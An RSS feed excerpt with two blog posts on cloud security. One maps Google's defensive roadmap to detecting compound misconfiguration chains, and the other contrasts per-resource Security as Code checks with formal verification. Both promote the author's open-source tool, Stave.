&lt;p&gt;Extend this to AI-provider API keys. The same pipeline that stores AWS keys as long-lived secrets often stores Anthropic, OpenAI, or Gemini API keys the same way. The GTIG report described threat actors pooling stolen API keys through relay services. A control that detects long-lived AI-provider keys in CI/CD secrets catches the same pattern for a different credential type.&lt;/p&gt;

&lt;p&gt;Now compose the two. A long-lived credential in CI/CD (the initial access vector) plus an admin-equivalent IAM role (the blast radius multiplier) plus no MFA on the role (the persistence mechanism). Three individually-rated findings maybe two highs and a medium. The compound: a single compromised dependency gives the attacker permanent admin access to the AWS account with no second factor and no rotation backstop. That's a critical compound chain, not three separate findings.&lt;/p&gt;

&lt;h2&gt;
  
  
  Priority 3: Reduce attack surface — blast radius containment
&lt;/h2&gt;

&lt;p&gt;The roadmap says: "Network segmentation and identity-based access controls should be in place so that if an edge device is compromised through a zero-day exploit, the blast radius is limited and easier to contain."&lt;/p&gt;

&lt;p&gt;This is the infrastructure verification thesis stated by Google. The zero-day itself is unknowable before disclosure. The infrastructure conditions that determine blast radius are knowable right now, on a static configuration snapshot.&lt;/p&gt;

&lt;p&gt;An EC2 instance with a public IP, IMDSv1 enabled, and an admin-equivalent instance role is a compound chain. Any SSRF vulnerability in any application on that instance gives the attacker full AWS account access via the metadata endpoint. The individual settings might each pass their check: the public IP is intentional (it's a web server), the instance role has the permissions the application needs (it grew over time), and IMDSv1 was never disabled (it was the default when the instance launched).&lt;/p&gt;

&lt;p&gt;Each setting passes. The composition is catastrophic. A compound chain that composes public reachability + SSRF-exploitable metadata + admin-equivalent credentials names the exact attack path and fires before any vulnerability is discovered.&lt;/p&gt;

&lt;p&gt;The roadmap calls this "reducing attack surface." Infrastructure verification calls it "proving that dangerous states are unreachable." The distinction matters: reducing attack surface is aspirational (you try to minimize exposure). Proving unreachability is deterministic (the state is reachable or it isn't, and the proof is reproducible).&lt;/p&gt;

&lt;h2&gt;
  
  
  Priority 6: Secure AI agents
&lt;/h2&gt;

&lt;p&gt;The roadmap says: "Locking down connections that AI systems can establish, with fine-grained IAM roles, is critical to prevent insecure plugin use threats."&lt;/p&gt;

&lt;p&gt;This maps directly to the SAIF taxonomy's two risk categories:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Insecure Integrated Component (IIC):&lt;/strong&gt; A compromised dependency or malicious skill gains access through the agent's elevated permissions. The GTIG report documented weaponized OpenClaw skills executing unauthorized code. The infrastructure question: what can the agent's execution role do?&lt;/p&gt;

&lt;p&gt;Three configuration properties determine the blast radius of a compromised agent: execution role scope, guardrail presence, and invocation logging. When all three fail simultaneously — broad Lambda invoke permissions, no content-filtering guardrail, no audit trail — the compound effect is worse than any individual misconfiguration. The agent can invoke any function, access any data the role permits, and operate without triggering any alert.&lt;/p&gt;

&lt;p&gt;A scanner checking each property independently reports three separate findings, maybe three highs. A compound chain that composes all three fires one critical finding that names the exact failure pattern: "This agent has broad reach, no content filter, and no audit trail. A compromised skill or prompt injection operates with full access and zero detection."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rogue Actions (RA):&lt;/strong&gt; An AI agent with elevated permissions executes unauthorized commands. The infrastructure check: does the execution role follow least privilege? Does the agent have permissions it doesn't need?&lt;/p&gt;

&lt;p&gt;An agent execution role that can invoke any Lambda function in the account, read from any S3 bucket, and access secrets. That's overprivileged by definition. The agent only needs to invoke 2 specific functions and read from 1 bucket. The other 200 functions and 50 buckets are collateral damage if the agent is compromised. Permission scope controls detect this overprivilege on the static configuration, before any rogue action occurs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Priority 4: Continuous posture management
&lt;/h2&gt;

&lt;p&gt;The roadmap says: "Unidentified assets are a major blindspot for organizations. Static spreadsheets and manual asset tracking are no longer viable."&lt;/p&gt;

&lt;p&gt;This is the input quality problem. Every verification tool's output quality depends on its input quality. If the collector didn't capture an asset, no control can evaluate it. If the observation is missing a critical property, the control that reads it silently doesn't fire. The silence looks like safety when it means "unchecked."&lt;/p&gt;

&lt;p&gt;A readiness assessment turns silence into signal. Before running evaluation, the tool reports: "47 assets observed across 8 services. 66 services not in the snapshot. 88% of compound chains cannot fire with current input. The single highest-value action: add data_classification tags to 19 S3 buckets — unlocks 98 compound chains including PHI exposure detection."&lt;/p&gt;

&lt;p&gt;A field-level gap analysis goes deeper: for each observed asset, which properties are absent, what controls and chains does each property unlock, and what's the priority order for adding them? "19 of 22 buckets lack data_classification. 35 of 35 IAM roles lack role-type tags. Fix these two gaps to unlock 143 compound chains (24% of detection capability). Estimated time: 30 minutes."&lt;/p&gt;

&lt;p&gt;The roadmap says maintain a continuously updated inventory. Infrastructure verification says: know exactly what your inventory is missing, what it costs in detection capability, and what to fix first.&lt;/p&gt;

&lt;h2&gt;
  
  
  Priority 7: Remediation SLAs — time as a dimension
&lt;/h2&gt;

&lt;p&gt;The roadmap says: "Define remediation SLAs based on severity, exposure, and asset criticality."&lt;/p&gt;

&lt;p&gt;Most tools report findings without temporal context. "This bucket is public. Severity: High." Is it a new finding? Has it been public for 6 hours or 6 months? Did someone change it yesterday, or has it been this way since the account was created?&lt;/p&gt;

&lt;p&gt;Time-aware evaluation tracks how long each misconfiguration has persisted. The same public bucket at 6 hours and 6 months tells different stories — different SLA urgency, different compliance exposure, different remediation priority. Drift detection compares snapshots and flags configuration changes: "This security group was restrictive yesterday and is open today." Observation freshness detects when the data itself is too old to trust: "These findings are based on a snapshot from 90 days ago."&lt;/p&gt;

&lt;p&gt;The roadmap says formalize SLAs. Infrastructure verification says provide the temporal data that makes SLAs enforceable: when the misconfiguration started, how long it has persisted, whether it's getting worse, and whether your snapshot is current enough to trust.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two tables, two questions
&lt;/h2&gt;

&lt;p&gt;Google's GTIG report compares vulnerability discovery tools such as SAST, DAST, manual expert review, and frontier LLMs across flaw categories from memory corruptions to semantic logic flaws. That table answers: "Who finds the vulnerability?"&lt;/p&gt;

&lt;p&gt;A second table answers a different question: "What determines the damage when it's exploited?"&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Blast Radius Factor&lt;/th&gt;
&lt;th&gt;SAST&lt;/th&gt;
&lt;th&gt;DAST&lt;/th&gt;
&lt;th&gt;Expert Review&lt;/th&gt;
&lt;th&gt;Frontier LLM&lt;/th&gt;
&lt;th&gt;Stave&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Is the exploited service's role least-privilege?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⚠️ Sometimes&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Does the credential rotate within its declared TTL?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is lateral movement blocked by segmentation?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⚠️ Can test&lt;/td&gt;
&lt;td&gt;⚠️ If scoped&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Do multiple low findings compose into a critical path?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅ Best at this&lt;/td&gt;
&lt;td&gt;⚠️ Emerging&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is the AI agent guardrailed if a skill is compromised?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⚠️ If scoped&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Are deleted resource references cleaned up?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is the proof mathematical (SAT/UNSAT)?&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A frontier LLM discovers a hardcoded trust assumption in application code. The severity depends on the infrastructure underneath. An auth bypass on a service with a least-privilege role, rotating credentials, and audit logging is a contained incident. The same bypass on a service with an admin-equivalent role, stale credentials, and no logging is a full breach. The code vulnerability is identical. The blast radius is determined by the infrastructure layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  The compound risk gap in the roadmap
&lt;/h2&gt;

&lt;p&gt;The roadmap's seven advanced priorities are sound. They cover code security, automated SOC, attack surface reduction, posture management, scanning coverage, device patching, and AI agent security. Each priority is addressed by tools in Google's ecosystem. Wiz for posture, SecOps for SOC, Model Armor for AI agents.&lt;/p&gt;

&lt;p&gt;What's missing is the layer between individual findings and compound risk. Every tool in the roadmap evaluates settings independently. The roadmap itself acknowledges that "AI can chain together multiple low-level vulnerabilities". But none of the recommended tools detect that chaining at the infrastructure configuration layer.&lt;/p&gt;

&lt;p&gt;This is the gap compound chain detection fills. Not replacing any tool in the roadmap — complementing them. The scanner finds the individual settings. The compound chain detector finds the compositions that make those settings dangerous together. The scanner says "three highs." The compound chain says "one critical path from unauthenticated access to patient data through three individually-correct configurations."&lt;/p&gt;

&lt;p&gt;The roadmap says the problem exists. The tools it recommends don't solve it at the infrastructure layer. The solution exists in open source.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's out of scope
&lt;/h2&gt;

&lt;p&gt;Infrastructure verification doesn't address four of the roadmap's priorities:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automated Security Operations&lt;/strong&gt; — runtime detection and response. Different product category. A Stave finding says "this configuration is unsafe." A SOC alert says "this attack is happening." Both are needed. Neither replaces the other.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability scanning&lt;/strong&gt; — code and OS-level scanning. Semgrep, OSS-Fuzz, Qualys territory. Infrastructure verification checks configurations, not code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network device patching&lt;/strong&gt; — firmware updates for routers, switches, firewalls. Operational IT discipline, not configuration verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Model Armor / prompt injection defense&lt;/strong&gt; — model-level safety. The model vendor's responsibility. Infrastructure verification checks whether a guardrail IS configured, not whether it IS EFFECTIVE against a specific jailbreak.&lt;/p&gt;

&lt;p&gt;The honest scope: infrastructure verification addresses three of seven advanced priorities directly (CI/CD security, blast radius reduction, AI agent security) and provides temporal data for a fourth (remediation SLAs). The other three are different product categories.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five-minute test
&lt;/h2&gt;

&lt;p&gt;If you're reading the Google roadmap and wondering how your infrastructure stacks up on the compound risk dimension:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/sufield/stave.git
&lt;span class="nb"&gt;cd &lt;/span&gt;stave
bash examples/demo-ai-security/run.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The demo shows five AI agent findings composing into three CRITICAL compound chains. The exact failure pattern the roadmap's "Secure AI Agents" priority describes. Broad execution role + no guardrail + no logging = one critical compound, not three separate findings.&lt;/p&gt;

&lt;p&gt;Then run the readiness assessment against your own data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;stave readiness &lt;span class="nt"&gt;--observations&lt;/span&gt; ./your-snapshots/
stave gaps &lt;span class="nt"&gt;--observations&lt;/span&gt; ./your-snapshots/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The readiness report tells you what percentage of your infrastructure Stave can evaluate. The gaps report tells you which missing properties to add first and what they unlock. Both run on static snapshots. No cloud credentials leave your machine.&lt;/p&gt;

&lt;p&gt;Google published the defensive roadmap. The infrastructure configuration layer where blast radius is determined, where compound risk lives, where the proof that dangerous states are unreachable either exists or doesn't is the part of that roadmap you can verify today.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;&lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt; is an open-source intent verification engine for cloud infrastructure. 2,650+ controls across 74 AWS service domains, 585 compound chains, 49 AI agent controls, 40 per-asset-type JSON Schemas, 9 independent reasoning engines. All analysis runs on air-gapped snapshots. Try it: &lt;code&gt;bash examples/demo-ai-security/run.sh&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>cloud</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Security as Code Checks Rules. What Proves Properties?</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Sat, 05 Sep 2026 05:16:16 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/security-as-code-checks-rules-what-proves-properties-48ib</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/security-as-code-checks-rules-what-proves-properties-48ib</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you had read the article on &lt;a href="https://dev.to/bala_paranj_059d338e44e7e/google-has-1000-platform-engineers-making-security-invisible-you-have-zero-heres-how-agents-58ed"&gt;Google Has 1,000 Platform Engineers Making Security Invisible. You Have Zero. Here's How Agents Close the Gap.&lt;/a&gt;, you might be thinking: "Is what you're describing just Security as Code?"&lt;/p&gt;

&lt;p&gt;It starts there. But it doesn't end there. Compound breaches, the Capital One pattern, the multi-hop privilege escalation, the toxic combination live undetected in the gap between where Security as Code ends and where the next step begins. &lt;/p&gt;

&lt;h2&gt;
  
  
  What Security as Code does well
&lt;/h2&gt;

&lt;p&gt;Security as Code brought a discipline to cloud security that didn't exist before: security policies defined as machine-readable code, version-controlled alongside infrastructure, automatically enforced in CI/CD, testable, reviewable, auditable.&lt;/p&gt;

&lt;p&gt;Before Security as Code, security checks were manual audits, spreadsheet checklists, and annual penetration tests. After Security as Code, every pull request runs against a policy engine. Every deployment is gated by automated checks. Every rule is in version control with a review history.&lt;/p&gt;

&lt;p&gt;This was a genuine paradigm shift. Tools like OPA/Rego, Checkov, Sentinel, Semgrep, tfsec, and Cedar moved security from a periodic human activity to a continuous automated process. The impact is real and substantial.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Security as Code checks
&lt;/h2&gt;

&lt;p&gt;Every Security as Code tool does the same thing at the structural level: it evaluates whether a specific configuration matches a specific rule.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Input:   One configuration (a Terraform plan, an IAM policy, a K8s manifest)
Rule:    One pattern (is this bucket public? is this port open? is this role admin?)
Output:  Yes or no. This configuration matches (or doesn't match) this rule.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The evaluation is per-resource, per-rule. Checkov checks whether THIS S3 bucket has public access enabled. OPA checks whether THIS Kubernetes pod runs as root. Semgrep checks whether THIS code path has unsanitized input. Each check is a pattern match: does the configuration text match the rule pattern?&lt;/p&gt;

&lt;p&gt;This catches a large class of misconfigurations. The class it catches: individual resources with individual misconfigurations that are visible in the text of the configuration.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Security as Code doesn't check
&lt;/h2&gt;

&lt;p&gt;The class it DOESN'T catch: properties that emerge from the interaction between multiple resources.&lt;/p&gt;

&lt;p&gt;The Capital One breach (2019) had five components. Each was individually configured. Each would pass a per-resource security check. The breach existed in the COMPOSITION:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Component 1: Public-facing WAF                   → correct for its purpose
Component 2: EC2 instance behind the WAF         → correct for its purpose
Component 3: IAM role on the EC2 instance        → correct for its purpose
Component 4: S3 bucket with customer data        → correct for its purpose
Component 5: Role trust allowing EC2 → S3 access → correct for its purpose

Each component: PASS (individually configured correctly)
The composition: FAIL (WAF → EC2 → IAM → S3 = public to customer data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No per-resource Security as Code rule catches it. Checkov checks each resource individually. OPA evaluates each policy individually. Each returns PASS. The breach exists in the relationships BETWEEN resources and no single rule sees all five simultaneously.&lt;/p&gt;

&lt;p&gt;It's a limitation of the PATTERN: one resource, rule and evaluation. The pattern can't express "does there exist ANY path from a public endpoint to a sensitive resource through ANY chain of role assumptions, policy attachments, and trust relationships?"&lt;/p&gt;

&lt;p&gt;That question requires something different.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two different operations
&lt;/h2&gt;

&lt;p&gt;The distinction is between CHECKING and PROVING:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CHECKING (what Security as Code does):
    "Does this configuration match this rule?"

    Input scope:    one resource
    Rule scope:     one pattern
    Method:         pattern matching on configuration text
    Output:         pass/fail for this resource against this rule
    What it means:  "this resource has (or doesn't have) this specific problem"

PROVING (what reasoning engines do):
    "Does this property hold across all resources and all their relationships?"

    Input scope:    the entire configuration graph
    Rule scope:     a property expressed over relationships
    Method:         logical inference, satisfiability checking, transitive closure
    Output:         verified/violated with evidence trace
    What it means:  "this property holds everywhere" or "here is the specific
                     path/composition that violates it"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checking asks: "does this resource match this pattern?" Proving asks: "does this property hold across all resources and their interactions?" The first is a pattern match. The second is a logical derivation.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the two work together
&lt;/h2&gt;

&lt;p&gt;They're complementary layers, like types and tests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Layer 1 — Per-resource rule checking (Security as Code):
    CEL predicates evaluate each asset against each control.
    2,662 controls. Per-resource. Per-rule. Fast. Deterministic.

    Catches: individual misconfigurations
    Example: "This bucket has public access enabled"
    Example: "This role has admin-level permissions"
    Example: "This security group allows SSH from 0.0.0.0/0"

    Tools: OPA, Checkov, Semgrep, tfsec, Cedar, Stave's CEL controls

Layer 2 — Cross-resource property proving (Reasoning engines):
    SMT solvers, Datalog, Prolog evaluate properties over relationships.
    Transitive closure. Satisfiability. Reachability.

    Catches: compound risks that emerge from composition
    Example: "A privilege escalation path exists through 3 role assumptions"
    Example: "This policy is mathematically equivalent to Principal: *"
    Example: "A public endpoint can reach a sensitive resource through
              a chain of individually-safe configurations"

    Tools: Z3, Soufflé, Prolog, Clingo, AWS Zelkova, Stave's SIR exports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Layer 1 checks settings. Layer 2 proves properties about compositions. You need both.&lt;/p&gt;

&lt;p&gt;A team with only Layer 1 catches every misconfigured bucket but misses the Capital One pattern. Because each component passes individually. A team with only Layer 2 proves compound properties but misses the simple misconfiguration. Because the reasoning engine doesn't check every setting against every rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  The practical workflow
&lt;/h2&gt;

&lt;p&gt;The two layers run in sequence on the same snapshot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Step 1: Capture configuration snapshot (all resources, all relationships)

Step 2: Layer 1 — Per-resource checks (Security as Code)
        stave apply → evaluates 2,662 CEL controls against each asset
        Catches: individual misconfigurations, per-resource violations
        Output: per-asset findings (the equivalent of Checkov/OPA results)

Step 3: Layer 2 — Cross-resource proving (Reasoning engines)  
        stave export-sir → emits observation properties as triples
        Soufflé/Prolog → computes transitive closure over role chains
        Z3 → proves satisfiability of composed policy logic
        Catches: compound chains, mathematical equivalences, reachability
        Output: property-level verdicts with evidence traces

Step 4: Combined report
        Per-resource findings (Layer 1) + property verdicts (Layer 2)
        The CISO gets: "12 individual misconfigurations AND 2 compound
        attack paths that wouldn't be detected by per-resource checks"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Layer 1 is fast and covers the full catalog. Layer 2 is deeper and covers the compound cases. Both evaluate the same snapshot. Both are deterministic. Both produce evidence.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Security as Code tools sit
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Tool              Layer 1 (rules)    Layer 2 (properties)    Notes
────────────      ───────────────    ────────────────────    ──────────────
Checkov           Yes                No                      Terraform/K8s rules
OPA/Rego          Yes                Limited                 Can express some cross-resource
Semgrep           Yes                No                      Code patterns
tfsec             Yes                No                      Terraform rules
Cedar             Yes                No                      AWS policy language
Sentinel          Yes                No                      Terraform Enterprise
AWS Config Rules  Yes                No                      AWS-managed rules
Prowler           Yes                No                      AWS CIS/HIPAA checks
ScoutSuite        Yes                No                      Multi-cloud audit

AWS Zelkova       No (internal)      Yes                     IAM policy satisfiability
AWS Tiros         No (internal)      Yes                     VPC network reachability

Stave             Yes (CEL)          Yes (SIR → Z3/Datalog)  Both layers, open source
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most tools are Layer 1 only. AWS has Layer 2 internally (Zelkova, Tiros) but it's not available as a general-purpose tool. It's embedded in specific AWS services (IAM Access Analyzer, VPC Reachability Analyzer). The gap in the market is an open-source tool that does both layers against any configuration snapshot.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this distinction matters for practitioners
&lt;/h2&gt;

&lt;p&gt;If you're evaluating cloud security tooling, the question to ask is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Can this tool detect a vulnerability that exists only in the composition of multiple correctly-configured resources?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the tool evaluates one resource at a time (Layer 1 only), the answer is no. It can catch every individual misconfiguration. It cannot catch the Capital One pattern.&lt;/p&gt;

&lt;p&gt;If the tool exports to a reasoning engine that computes transitive closure, satisfiability, or reachability (Layer 2), the answer is yes — for the properties the engine is configured to check.&lt;/p&gt;

&lt;p&gt;Both layers are necessary. The individual misconfiguration (open SSH port, public bucket, admin-level role) is the common case. The compound composition (WAF → EC2 → IAM → S3) is the breach case. The tool that catches only the first gives you a false sense of completeness. The tool that catches both gives you the coverage your auditor is asking about.&lt;/p&gt;

&lt;h2&gt;
  
  
  The terminology, clarified
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Term                    What it means                     Layer
──────────────          ─────────────────────────         ─────
Infrastructure as Code  Define infrastructure as code     Input (what's deployed)
Policy as Code          Define policies as code           Layer 1 rules
Security as Code        Define security checks as code    Layer 1 checks
Formal Verification     Prove properties mathematically   Layer 2 proofs

"Security as Code with formal verification" = both layers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Security as Code is Layer 1. Formal verification is Layer 2. You need both. The term for both layers together doesn't have an established name yet. Because almost no tool does both. As the compound detection gap becomes more visible (more Capital One pattern breaches, more multi-hop escalations), the vocabulary will emerge. For now: "Security as Code extended with formal verification" is precise. "Reasoning engine" describes the Layer 2 mechanism without requiring the audience to know formal methods terminology.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The per-resource checks described in this article are implemented as 3,000+ CEL controls in &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt;. The cross-resource property proving is implemented through Stave's SIR (Stave Intermediate Representation) export, which emits observation properties as triples consumable by Z3, Soufflé, and Prolog. Both layers evaluate the same configuration snapshot. Both are deterministic. Both are open source. Apache 2.0.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cloudsecurity</category>
      <category>devops</category>
      <category>security</category>
      <category>architecture</category>
    </item>
  </channel>
</rss>
